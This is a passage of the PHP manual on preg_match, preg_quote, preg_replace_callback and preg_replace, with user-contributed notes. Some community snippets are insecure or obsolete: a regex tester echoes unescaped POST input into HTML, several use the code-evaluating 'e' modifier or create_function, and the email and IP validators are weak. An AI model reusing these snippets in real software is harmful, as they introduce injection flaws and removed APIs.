$formatted = preg_replace($regex, '($1) $2-$3 ext. $4', $phoneNumber);

// or, provided you use the $matches argument in preg_match

$formatted = "($matches[1]) $matches[2]-$matches[3]";
if ($matches[4]) $formatted .= " $matches[4]";

?>

*** Results: ***
520-555-5542 :: MATCH
520.555.5542 :: MATCH
5205555542 :: MATCH
520 555 5542 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 :: MATCH
(520) 555-5542 :: MATCH
(520) 555 5542 :: MATCH
520-555.5542 :: MATCH
520 555-0555 :: MATCH
(520)5555542 :: MATCH
520.555-4523 :: MATCH
19991114444 :: FAIL
19995554444 :: MATCH
514 555 1231 :: MATCH
1 555 555 5555 :: MATCH
1.555.555.5555 :: MATCH
1-555-555-5555 :: MATCH
520-555-5542 ext.123 :: MATCH
520.555.5542 EXT 123 :: MATCH
5205555542 Ext. 7712 :: MATCH
520 555 5542 ext 5 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 ext .4 :: FAIL
(512) 555-1234 ext. 123 :: MATCH
1(555)555-5555 :: MATCH
daevid at daevid dot com 06-Mar-2009 03:18
I just learned about named groups from a Python friend today and was curious if PHP supported them, guess what -- it does!!!

http://www.regular-expressions.info/named.html

<?php
   preg_match("/(?P<foo>abc)(.*)(?P<bar>xyz)/",
                       'abcdefghijklmnopqrstuvwxyz',
                       $matches);
   print_r($matches);
?>

will produce:

Array
(
    [0] => abcdefghijklmnopqrstuvwxyz
    [foo] => abc
    [1] => abc
    [2] => defghijklmnopqrstuvw
    [bar] => xyz
    [3] => xyz
)

Note that you actually get the named group as well as the numerical key
value too, so if you do use them, and you're counting array elements, be
aware that your array might be bigger than you initially expect it to be.
wjaspers4 [at] gmail [dot] com 27-Feb-2009 03:16
I recently encountered a problem trying to capture multiple instances of named subpatterns from filenames.
Therefore, I came up with this function.

The function allows you to pass through flags (in this version it applies to all expressions tested), and generates an array of search results.

Enjoy!

<?php

/**
 * Allows multiple expressions to be tested on one string.
 * This will return a boolean, however you may want to alter this.
 *
 * @author William Jaspers, IV <wjaspers4@gmail.com>
 * @created 2009-02-27 17:00:00 +6:00:00 GMT
 * @access public
 *
 * @param array $patterns An array of expressions to be tested.
 * @param String $subject The data to test.
 * @param array $findings Optional argument to store our results.
 * @param mixed $flags Pass-thru argument to allow normal flags to apply to all tested expressions.
 * @param array $errors A storage bin for errors
 *
 * @returns bool Whether or not errors occurred.
 */
function preg_match_multiple(
  array $patterns=array(),
  $subject=null,
  &$findings=array(),
  $flags=false,
  &$errors=array()
) {
  foreach( $patterns as $name => $pattern )
  {
    if( 1 <= preg_match_all( $pattern, $subject, $found, $flags ) )
    {
      $findings[$name] = $found;
    } else
    {
      if( PREG_NO_ERROR !== ( $code = preg_last_error() ))
      {
        $errors[$name] = $code;
      } else $findings[$name] = array();
    }
  }
  return (0===sizeof($errors));
}
?>
skds1433 at hotmail dot com 19-Feb-2009 06:41
here is a small tool for someone learning to use regular expressions. it's very basic, and allows you to try different patterns and combinations. I made it to help me, because I like to try different things, to get a good understanding of how things work.

<?php
$search = isset($_POST['search'])?$_POST['search']:"//";
$match = isset($_POST['match'])?$_POST['match']:"<>";

echo '<form method="post">';
echo 's: <input style="width:400px;" name="search" type="text" value="'.$search.'" /><br />';
echo 'm:<input style="width:400px;" name="match" type="text" value="'.$match.'" /><input type="submit" value="go" /></form><br />';
if (preg_match($search, $match)){echo "matches";}else{echo "no match";}
?>
akniep at rayo dot info 30-Jan-2009 03:05
Bugs of preg_match (PHP-version 5.2.5)

In most cases, the following example will show one of two PHP-bugs discovered with preg_match depending on your PHP-version and configuration.

<?php

$text = "test=";
// creates a rather long text
for ($i = 0; $i++ < 100000;)
    $text .= "%AB";

// a typical URL_query validity-checker (the pattern's function does not matter for this example)
$pattern    = '/^(?:[;\/?:@&=+$,]|(?:[^\W_]|[-_.!~*\()\[\] ])|(?:%[\da-fA-F]{2}))*$/';

var_dump( preg_match( $pattern, $text ) );

?>

Possible bug (1):
=============
On one of our Linux-Servers the above example crashes PHP-execution with a C(?) Segmentation Fault(!). This seems to be a known bug (see http://bugs.php.net/bug.php?id=40909), but I don't know if it has been fixed, yet.
If you are looking for a work-around, the following code-snippet is what I found helpful. It wraps the possibly crashing preg_match call by decreasing the PCRE recursion limit in order to result in a Reg-Exp error instead of a PHP-crash.

<?php
[...]

// decrease the PCRE recursion limit for the (possibly dangerous) preg_match call
$former_recursion_limit = ini_set( "pcre.recursion_limit", 10000 );

// the wrapped preg_match call
$result = preg_match( $pattern, $text );

// reset the PCRE recursion limit to its original value
ini_set( "pcre.recursion_limit", $former_recursion_limit );

// if the reg-exp fails due to the decreased recursion limit we may not make any statement, but PHP-execution continues
if ( PREG_RECURSION_LIMIT_ERROR === preg_last_error() )
{
    // react on the failed regular expression here
    $result = [...];

    // do logging or email-sending here
    [...]
} //if

?>

Possible bug (2):
=============
On one of our Windows-Servers the above example does not crash PHP, but (directly) hits the recursion-limit. Here, the problem is that preg_match does not return boolean(false) as expected by the description / manual of above.
In short, preg_match seems to return an int(0) instead of the expected boolean(false) if the regular expression could not be executed due to the PCRE recursion-limit. So, if preg_match results in int(0) you seem to have to check preg_last_error() if maybe an error occurred.
Alex Zinchenko 10-Dec-2008 06:15
If you need to check whether string is a serialized representation of variable(sic!) you can use this :

<?php

$string = "a:0:{}";
if(preg_match("/(a|O|s|b)\x3a[0-9]*?
((\x3a((\x7b?(.+)\x7d)|(\x22(.+)\x22\x3b)))|(\x3b))/", $string))
{
echo "Serialized.";
}
else
{
echo "Not serialized.";
}

?>

But don't forget, string in serialized representation could be VERY big,
so match work can be slow, even with fast preg_* functions.
phil dot taylor at gmail dot com 22-Oct-2008 05:01
If you need to check for .com.br and .com.au and .uk and all the other crazy domain endings i found the following expression works well if you want to validate an email address. Its quite generous in what it will allow

<?php

        $email_address = "phil.taylor@a_domain.tv";

    if (preg_match("/^[^@]*@[^@]*\.[^@]*$/", $email_address)) {
        return "E-mail address";
    }

?>
Steve Todorov 02-Oct-2008 06:23
While I was reading the preg_match documentation I didn't found how to match an IP..
Let's say you need to make a script that is working with ip/host and you want to show the hostname - not the IP.

Well this is the way to go:

<?php
/* This is an ip that is "GET"/"POST" from somewhere */
$ip = $_POST['ipOrHost'];

if(preg_match('/(\d+).(\d+).(\d+).(\d+)/',$ip))
  $host = gethostbyaddr($ip);
else
  $host = gethostbyname($ip);

echo $host;
?>

This is a really simple script made for beginners !
If you'd like you could add restriction to the numbers.
The code above will accept all kind of numbers and we know that IP address could be MAX 255.255.255.255 and the example accepts to 999.999.999.999.

Wish you luck!

Best wishes,
Steve
Ashus 12-Sep-2008 08:18
If you need to match specific wildcards in IP address, you can use this regexp:

<?php

$ip = '10.1.66.22';
$cmp = '10.1.??.*';

$cnt = preg_match('/^'
     .str_replace(
     array('\*','\?'),
     array('(.*?)','[0-9]'),
     preg_quote($cmp)).'$/',
     $ip);

echo $cnt;

?>

where '?' is exactly one digit and '*' is any number of any characters. $cmp mask can be provided wild by user, $cnt equals (int) 1 on match or 0.
wjaspers4[at]gmail[dot]com 28-Aug-2008 07:55
I found this rather useful for testing mutliple strings when developing a regex pattern.
<?php
/**
 * Runs preg_match on an array of strings and returns a result set.
 * @author wjaspers4[at]gmail[dot]com
 * @param String $expr The expression to match against
 * @param Array $batch The array of strings to test.
 * @return Array
 */
function preg_match_batch( $expr, $batch=array() )
{
// create a placeholder for our results
    $returnMe = array();

// for every string in our batch ...
    foreach( $batch as $str )
    {
// test it, and dump our findings into $found
        preg_match($expr, $str, $found);

// append our findings to the placeholder
        $returnMe[$str] = $found;
    }

    return $returnMe;
}
?>
Dino Korah AT webroot DOT com 08-Jul-2008 04:11
preg_match and preg_replace_callback doesnt match up in the structure of the array that they fill-up for a match.
preg_match, as the example shows, supports named patterns, whereas preg_replace_callback doesnt seem to support it at all. It seem to ignore any named pattern matched.
jonathan dot lydall at gmail dot removethispart dot com 26-May-2008 12:50
Because making a truly correct email validation function is harder than one may think, consider using this one which comes with PHP through the filter_var function (http://www.php.net/manual/en/function.filter-var.php):

<?php
$email = "someone@domain .local";

if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "E-mail is not valid";
} else {
    echo "E-mail is valid";
}
?>
preg_match_all
preg_quote
PCRE Functions


Quote regular expression characters

preg_match
preg_replace_callback
PCRE Functions
PHP Manual

preg_quote

(PHP 4, PHP 5)

preg_quote — Quote regular expression characters

Description

string preg_quote ( string $str [, string $delimiter = NULL ] )

preg_quote() takes str and puts a backslash in front of every character that is part of the regular expression syntax. This is useful if you have a run-time string that you need to match in some text and the string may contain special regex characters.

The special regular expression characters are: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -

Parameters

str

The input string.

delimiter

If the optional delimiter is specified, it will also be escaped. This is useful for escaping the delimiter that is required by the PCRE functions. The / is the most commonly used delimiter.

Return Values

Returns the quoted string.

Changelog

Version | Description
5.3.0 | The - character is now quoted

Examples

Example #1 preg_quote() example

<?php
$keywords = '$40 for a g3/400';
$keywords = preg_quote($keywords, '/');
echo $keywords; // returns \$40 for a g3\/400
?>

Example #2 Italicizing a word within some text

<?php
// In this example, preg_quote($word) is used to keep the
// asterisks from having special meaning to the regular
// expression.

$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word) . "/",
                          "<i>" . $word . "</i>",
                          $textbody);
?>

Notes

Note: This function is binary-safe.

User Contributed Notes

billadoid at gmail dot com 12-Jan-2012 05:11
If you need to quote everything but a wildcard, maybe this function will come handy to you:

<?php
protected function _ruleOptionIsMatched($option, $subject)
{
    $option = preg_quote($option, '#');
    $option = str_replace('\*', '.*', $option);

    if(preg_match("#^$option$#", $subject))
    {
        return true;
    }
    else
    {
        return false;
    }
}
?>
admin at nilamo dot com 04-Aug-2010 08:21
@zooly:

And what if $myvar = 'te\\E.t'?  It will match, when it shouldn't.  That's why you should use preg_quote().
zooly 21-Jul-2009 01:07
To escape characters with special meaning, like: .-[]() and so on, use \Q and \E.

For example:

<?php echo ( preg_match('/^'.( $myvar = 'te.t' ).'$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: match

But:

<?php echo ( preg_match('/^\Q'.( $myvar = 'te.t' ).'\E$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: nomatch
alexc223 at NOSPAM dot googlemail dot com 15-Jun-2009 12:41
Not sure why this note got deleted, but hey lets try again:

As of PHP 5.3, bug #47229 has been fixed and preg_quote *will* escape a hyphen (-). This may effect your code so ensure this is one thing you check when moving to 5.3.
frostschutz 20-Mar-2009 02:01
I wanted to escape a string of characters so I could match them in [], i.e. [.,-!"§$%\\\[\]\^].

Unfortunately preg_quote does not escape the - character which has a special meaning in [], i.e. [a-z].

So I used this hack: make - the delimiter of the expression, i.e.

preg_quote(userinput, "-")
preg_replace("-[$userinput]-u", "", $str)

Apparently using a special char as a delimiter of a regular expression disables this character, i.e. even if it's escaped it's not understood as special character for the expression anymore.

so the pattern "-[a\\-z]-u" matches the characters a, - and z, and not abc...xyz.

It would be nice if preg_quote also escaped characters that have special meanings even if they have this meaning only under certain conditions, such as inside [].
krishoog at gmail dot com 13-Oct-2008 07:51
To bizzigul at hotmail dot fr:
It's not a good practice to make somthing work *almost* all of the time. If the input contains a '`' you will still get an error. I recommend using the default delimiter ('/') and also feed this to preg_quote as second argument.
bizzigul at hotmail dot fr 30-Jul-2008 09:10
To prevent any problems, try to always use a delimiter that will *almost* not be used inside the regex, such as ` (back quote)

for example: instead of
<?php preg_match('/foo\/bar\//',$somevar); ?>

use

<?php preg_match('`foo/bar/`',$somevar); ?>

it's that simple! like this, you won't have to bother with delimiters anymore...
Anonymous 26-Dec-2007 03:13
Wondering why your preg_replace fails, even if you have used preg_quote?

Try adding the delimiter / - preg_quote($string, '/');
preg_match
preg_replace_callback
PCRE Functions


Perform a regular expression search and replace using a callback

preg_quote
preg_replace
PCRE Functions
PHP Manual

preg_replace_callback

(PHP 4 >= 4.0.5, PHP 5)

preg_replace_callback — Perform a regular expression search and replace using a callback

Description

mixed preg_replace_callback ( mixed $pattern , callback $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )

The behavior of this function is almost identical to preg_replace(), except for the fact that instead of replacement parameter, one should specify a callback.

Parameters

pattern

The pattern to search for. It can be either a string or an array with strings.

callback

A callback that will be called and passed an array of matched elements in the subject string. The callback should return the replacement string.

You'll often need the callback function for a preg_replace_callback() in just one place. In this case you can use an anonymous function (since PHP 5.3.0) or create_function() to declare an anonymous function as callback within the call to preg_replace_callback(). By doing it this way you have all information for the call in one place and do not clutter the function namespace with a callback function's name not used anywhere else.

Example #1 preg_replace_callback() and create_function()

<?php
/* a unix-style command line filter to convert uppercase
 * letters at the beginning of paragraphs to lowercase */
$fp = fopen("php://stdin", "r") or die("can't read stdin");
while (!feof($fp)) {
    $line = fgets($fp);
    $line = preg_replace_callback(
        '|<p>\s*\w|',
        create_function(
            // single quotes are essential here,
            // or alternative escape all $ as \$
            '$matches',
            'return strtolower($matches[0]);'
        ),
        $line
    );
    echo $line;
}
fclose($fp);
?>

subject

The string or an array with strings to search and replace.

limit

The maximum possible replacements for each pattern in each subject string. Defaults to -1 (no limit).

count

If specified, this variable will be filled with the number of replacements done.

Return Values

preg_replace_callback() returns an array if the subject parameter is an array, or a string otherwise. On errors the return value is NULL

If matches are found, the new subject will be returned, otherwise subject will be returned unchanged.

Changelog

Version | Description
5.1.0 | The count parameter was added

Examples

Example #2 preg_replace_callback() example

<?php
// this text was used in 2002
// we want to get this up to date for 2003
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";
// the callback function
function next_year($matches)
{
  // as usual: $matches[0] is the complete match
  // $matches[1] the match for the first subpattern
  // enclosed in '(...)' and so on
  return $matches[1].($matches[2]+1);
}
echo preg_replace_callback(
            "|(\d{2}/\d{2}/)(\d{4})|",
            "next_year",
            $text);

?>

The above example will output:

April fools day is 04/01/2003
Last christmas was 12/24/2002

Example #3 preg_replace_callback() using recursive structure to handle encapsulated BB code

<?php
$input = "plain [indent] deep [indent] deeper [/indent] deep [/indent] plain";

function parseTagsRecursive($input)
{

    $regex = '#\[indent]((?:[^[]|\[(?!/?indent])|(?R))+)\[/indent]#';

    if (is_array($input)) {
        $input = '<div style="margin-left: 10px">'.$input[1].'</div>';
    }

    return preg_replace_callback($regex, 'parseTagsRecursive', $input);
}

$output = parseTagsRecursive($input);

echo $output;
?>

See Also

  • PCRE Patterns
  • preg_replace() - Perform a regular expression search and replace
  • preg_last_error() - Returns the error code of the last PCRE regex execution
  • create_function() - Create an anonymous (lambda-style) function
  • Anonymous functions
  • information about the callback type

User Contributed Notes

henzeberkheij at gmail dot com 23-Nov-2011 08:23
also note that when you are using this functionality in a class and you need variables in that class, you can use a non static function as callback. array($this, functionName) should be enough to call an function of the class.

Either use create_function if you require the code only once,
use a static class function if no need for accessing variables in that class. or use the array metioned earlier in my post for having access to class variables or other functions!
webmaster at mp3s dot pl 28-Jul-2011 12:57
I noticed that 'e' modifier use addslashed on result

<?
function wyczysc_strongi($string) {
    if(mb_strlen($string,'UTF-8')>60) {
        return $string;
    } else {
        return '<strong>'.$string.'</strong>';
    }
}

$tresc = "<strong>fajna dupa's</strong>";

$tresc = preg_replace("/<strong>(.*?)<\/strong>/ie",'wyczysc_strongi("$1")',$tresc);

echo $tresc will give: <strong>fajna dupa\'s</strong>
?>

solution: $tresc = stripslashes($tresc);
after callback
aleksander at throw dot pl 10-Jan-2011 02:59
I needed a simple code to tidy up a string. It simply had to upper-case letters after dot. Simple code to do so:

<?php
$string = preg_replace_callback(
'|(?:\.)(?:\s*)(\w{1})|Ui',
create_function('$matches', 'return ". ".strtoupper($matches[1]);'), ucfirst($string)
);
?>

<?php
$string = 'lorem ipsum dolor sit amet, consectetur adipiscing elit. sed ullamcorper diam eu lorem varius nec porta elit iaculis.';

echo preg_replace_callback(
'|(?:\.)(?:\s*)(\w{1})|Ui',
create_function('$matches', 'return ". ".strtoupper($matches[1]);'), ucfirst($string)
);
?>

Will output: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ullamcorper diam eu lorem varius nec porta elit iaculis.

<?php
$string = 'lorem ipsum dolor sit amet, consectetur adipiscing elit.                 sed ullamcorper diam eu lorem varius nec porta elit iaculis.';

echo preg_replace_callback(
'|(?:\.)(?:\s*)(\w{1})|Ui',
create_function('$matches', 'return ". ".strtoupper($matches[1]);'), ucfirst($string)
);
?>

Will output: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed ullamcorper diam eu lorem varius nec porta elit iaculis.

Nothing fancy, but useful :)
alex dot cs00 at yahoo dot ca 06-Oct-2010 02:09
Don't use this function to fetch BBCode, as explained. If you have some text that runs over 5000 chars (average), it will run out of its limit and makes you download the PHP page.

According to this, you should instead use something more advanced yet complex. You will need a function called "str_replace_once()" (search for it), one called "countWord()", the famous "after()", "before()", "between()".

str_replace_once does same as str_replace, but only replace first occurence. As for countWord, I guess you know how to count the number of a word occurence. As for after, before and between, this is a function that you may find easily somewhere on the site by a user. Else, you can do it.

The following function is able to do all blocks, supposing [code] and [/code], you might wish things between parents dont get parsed, including [code] if inside of another [code].

<?php
function prepareCode($code, $op, $end)
{
    $ix = 0;
    $iy = 0;
    $nbr_Op = countWord($op, $code);
    while($ix < $nbr_Op)
    {
        if(in_string($op, before($end, $code), false))
        {
            // The following piece of code replace the default [tag] by [tag:#]
            $code = str_replace_once($op, substr($op, 0, -1).':'.$ix.']', $code);
            $iy++;
        }
        elseif(in_string($end, before($op, $code), false))
        {
            $iy = $iy-1;
            $code = str_replace_once($end, substr($end, 0, -1).':'.($ix-1).']', $code);
            $ix = $ix-2;
        }
        $ix++;
    }
    while(in_string($end, $code))
    {
        $code = str_replace_once($end, substr($end, 0, -1).':'.($iy-1).']', $code);
        $iy=$iy-1;
    }

    $code = preg_replace('#\\'.substr($end, 0, 1).':-[0-9]\]#i', '', $code);
    if(in_string(substr($op, 0, -1).':0]', $code) && !in_string(substr($end, 0, -1).':0]', $code))
    {
        $code .= substr($end, 0, -1).":0]";
    }
    return $code;
}
?>

$code returns the whole text semi-formated. You only need to use it as :
$code = prepareCode($code="Your text", $op="[tag]" , $end="[/tag]");
Then just replace the parent tags :
str_replace("[tag:0]", "<tag>", $code);
str_replace("[/tag:0]", "</tag>", $code);
So at the end something like :
[
chris at ocproducts dot com 02-Jul-2010 07:39
The pcre.backtrack_limit option (added in PHP 5.2) can trigger a NULL return, with no errors. The default pcre.backtrack_limit value is 100000. If you have a match that exceeds about half this limit it triggers a NULL response.
e.g. My limit was at 100000 but 500500 triggered a NULL response. I'm not running unicode but I *guess* PCRE runs in utf-16.
Anonymous 09-Jun-2010 12:01
Created this to fetch the link and name of an anchor tag. I use this when cleaning an HTML email to text. Using regex for HTML is not recommended but for this purpose I see no issue with it. This is not designed to work for nested anchors.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this
Drake 21-Mar-2010 05:48
The good version of the class PhpHex2Str
<?php
class PhpHex2Str
{
    private $strings;

    private static function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'PhpHex2Str::x_hex2str', $this->strings);
    }
}

// Exemple
$obj = new PhpHex2Str;

$strings = $obj->decode($strings);
var_dump($strings);
?>
Drake 21-Mar-2010 12:05
Decode Hexa to Strings =)
<?php
class PhpHex2Str
{
    private $strings;

    private function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'x_hex2str', $this->strings);
    }
}

// Example
$strings = 'a %20 b%0A h %27 h %23';

$obj = new PhpHex2Str;
$strings = $obj->decode($strings);
var_dump($strings);
?>
Matt 14-Sep-2009 09:24
If you're looking to show only the first digit and last four digits of a credit card number (4xxxxxxxxxxxx2331) use something like this:
preg_replace_callback('/((.)(.*))?(.{4})/', create_function('$x', 'return $x[2].str_repeat("x", strlen($x[3])).$x[4];'), '$CCNUMBER')
ixiter at gmail dot com 28-Jul-2009 07:06
When you use preg_replace_callback in a class and have the callback function as a private method of that class, you need to set the callback function name like className::CallBack.
self::CallBack does not work and returns an error:
"Cannot call method self::CallBack() or method does not exist"!

<?php
class myClass{
    public function parsetext($text){
        // parses text and sets literals A - C to lower case
        // this works
        return preg_replace_callback('|([a-c])|i', 'myClass::preg_tolower', $text);
    }
    public function parsefail($text){
        // parses text and sets literals A - C to lower case
        // this fails
        return preg_replace_callback('|([a-c])|i', 'self::preg_tolower', $text);
    }

    private static function preg_tolower($matches){
        return strtolower($matches[1]);
    }
}

$parser = new myClass;
echo $parser->parsetext('ABCDEFGH');
// echoes abcDEFGH

echo $parser->parsefail('ABCDEFGH');
// throws the error
?>
carlos dot ballesteros at softonic dot com 02-Jul-2009 08:02
A simple function to replace a list of complete words or terms in a string (for PHP 5.3 or above because of the closure):

<?php
function replace_words($list, $line, $callback) {
    return preg_replace_callback(
        '/(^|[^\\w\\-])(' . implode('|', array_map('preg_quote', $list)) . ')($|[^\\w\\-])/mi',
        function($v) use ($callback) { return $v[1] . $callback($v[2]) . $v[3]; },
        $line
    );
}
?>

Example of usage:
<?php
$list = array('php', 'apache web server');
$str = "php and the apache web server work fine together. php-gtk, for example, won't match. apache web servers shouldn't too.";

echo replace_words($list, $str, function($v) {
    return "<strong>{$v}</strong>";
});
?>
chris AT cmbuckley DOT co DOT uk 09-Jun-2009 07:44
This function does not support named subpatterns, so you can't do

<?php

preg_replace_callback('/(?<char>[a-z])/', 'callback', 'word');

function callback($matches) {
    var_dump($matches);
}

?>

and expect to get $matches['char'] in your function.
mariush 12-May-2009 01:17
If you're planning to use preg_replace_callback inside a class, you need to use the array() function:

<?php
class MyClass
{

  function preg_callback_url($matches)
  {
    //var_dump($matches);
    $url = $matches[1].$matches[2];
    $text = '';
    $pos = strpos($url,' ');
    if ($pos!==FALSE) {
      $text = trim(substr($url,$pos+1));
      $url = substr($url,0,$pos);
    }
    return '<a href="'.$url.'" rel="nofollow">'.(($text!='') ? $text : $url).'</a>';
  }

  function ParseText($text)
  {
    return preg_replace_callback('/\[(http|https|ftp)(.*?)\]/iS',array( &$this, 'preg_callback_url'), $text);
  }

}
?>
james dot records at gmail dot com 26-Apr-2009 12:22
This is what i use to read log files and do dns lookups on the ip's from the file.

<?php
function resolve_logs($arr) {
        return gethostbyaddr($arr[0]);
}

$logent=file('yourlogfile');

$ipaddr = '/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/';
$logent = preg_replace_callback($ipaddr, resolve_logs, $logent);
?>
long2hu3 ATT yahoo DOTT com 01-Apr-2009 11:25
When you access variables from outside in a callback function, use the $global keyword:

<?php

// global # 1:
global $x;

$x = 0;
$str = '&Bla bla. &#x25ba;';

$find = '/(\&)([^#])/';

// global # 2:
$replace = create_function('$f',
    'global $x; $x ++; return $f[2];';

$str2 = preg_replace_callback($find, $replace, $str);

// $x == 1
// $str2 == 'Bla bla. &#x25ba;'
// without global, $x would be 0

?>
tijn at q-go dot com 06-Jan-2009 02:01
To access a local variable within a callback, use currying (delayed argument binding). For example
<?php
function curry($func, $arity) {
    return create_function('', "
        \$args = func_get_args();
        if(count(\$args) >= $arity)
            return call_user_func_array('$func', \$args);
        \$args = var_export(\$args, 1);
        return create_function('','
            \$a = func_get_args();
            \$z = ' . \$args . ';
            \$a = array_merge(\$z,\$a);
            return call_user_func_array(\'$func\', \$a);
        ');
    ");
}

function on_match($transformation, $matches)
{
    return $transformation[strtolower($matches[1])];
}

$transform = array('a' => 'Well,', 'd'=>'whatever', 'b'=>' ');

$callback = curry(on_match, 2);
echo preg_replace_callback('/([a-z])/i', $callback($transform), 'Abcd');

echo "\n";
?>

outputs:

"Well, whatever"

The magic lies in this curry function I found here: http://www.sitepoint.com/forums/showthread.php?threadid=336758
tijn at q-go dot com 05-Jan-2009 08:48
To access a local variable within a callback, use currying (delayed argument binding). For example
<?php
function curry($func, $arity) {
    return create_function('', "
        \$args = func_get_args();
        if(count(\$args) >= $arity)
            return call_user_func_array('$func', \$args);
        \$args = var_export(\$args, 1);
        return create_function('','
            \$a = func_get_args();
            \$z = ' . \$args . ';
            \$a = array_merge(\$z,\$a);
            return call_user_func_array(\'$func\', \$a);
        ');
    ");
}

function on_match($transformation, $matches)
{
    return $transformation[strtolower($matches[1])];
}

$transform = array('a' => 'Well,', 'd'=>'whatever', 'b'=>' ');

$callback = curry(on_match, 2);
echo preg_replace_callback('/([a-z])/i', $callback($transform), 'Abcd');

echo "\n";
?>

outputs:

"Well, whatever"

The magic lies in this curry function I found here: http://www.sitepoint.com/forums/showthread.php?threadid=336758
nicolaspar at gmail dot com 19-Dec-2008 06:33
To spend more than one parameter can do the following (note the "e" parameter in preg_replace function)
<?
$array = array(
1=>'ONE',
2=>'TWO',
3=>'Three'
);

function search(&$array, $str, $foo, $bar){
    return ( empty($array[$str]) ? '['.$foo.'-'.$bar.']' : $array[$str] );
}

function keys(&$array, $str,$foo,$bar){
    return preg_replace('/\[(.*?)\]/e',"search(\$array,$1,\$foo,\$bar)",$str);
}

$str = "One [1] Two [2] Three [3], Other parameter [22]";

echo keys($array, $str,'Foo','Bar');
?>
Nice
nene at triin dot net 20-May-2008 03:14
The first example is bad, because it creates function for every line it processes. When the file has many lines, you could easily run out of memory. The code should be changed so, that create_function() is used outside of loop.
Sjon at hortensius dot net 24-Jun-2007 04:56
preg_replace_callback returns NULL when pcre.backtrack_limit is reached; this sometimes occurs faster then you might expect. No error is raised either; so don't forget to check for NULL yourself
matt at mattsoft dot net 26-Apr-2006 02:16
it is much better on preformance and better practice to use the preg_replace_callback function instead of preg_replace with the e modifier.

function a($text){return($text);}

// 2.76 seconds to run 50000 times
preg_replace("/\{(.*?)\}/e","a('\\1','\\2','\\3',\$b)",$a);

// 0.97 seconds to run 50000 times
preg_replace_callback("/\{(.*?)\}/s","a",$a);
preg_quote
preg_replace
PCRE Functions


Perform a regular expression search and replace

preg_replace_callback
preg_split
PCRE Functions
PHP Manual

preg_replace

(PHP 4, PHP 5)

preg_replace — Perform a regular expression search and replace

Description

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

Searches subject for matches to pattern and replaces them with replacement.

Parameters

pattern

The pattern to search for. It can be either a string or an array with strings.

Several PCRE modifiers are also available, including 'e' (PREG_REPLACE_EVAL), which is specific to this function.

replacement

The string or an array with strings to replace. If this parameter is a string and the pattern parameter is an array, all patterns will be replaced by that string. If both pattern and replacement parameters are arrays, each pattern will be replaced by the replacement counterpart. If there are fewer elements in the replacement array than in the pattern array, any extra patterns will be replaced by an empty string.

replacement may contain references of the form \\n or (since PHP 4.0.4) $n, with the latter form being the preferred one. Every such reference will be replaced by the text captured by the n'th parenthesized pattern. n can be from 0 to 99, and \\0 or $0 refers to the text matched by the whole pattern. Opening parentheses are counted from left to right (starting from 1) to obtain the number of the capturing subpattern. To use backslash in replacement, it must be doubled ("\\\\" PHP string).

When working with a replacement pattern where a backreference is immediately followed by another number (i.e.: placing a literal number immediately after a matched pattern), you cannot use the familiar \\1 notation for your backreference. \\11, for example, would confuse preg_replace() since it does not know whether you want the \\1 backreference followed by a literal 1, or the \\11 backreference followed by nothing. In this case the solution is to use \${1}1. This creates an isolated $1 backreference, leaving the 1 as a literal.

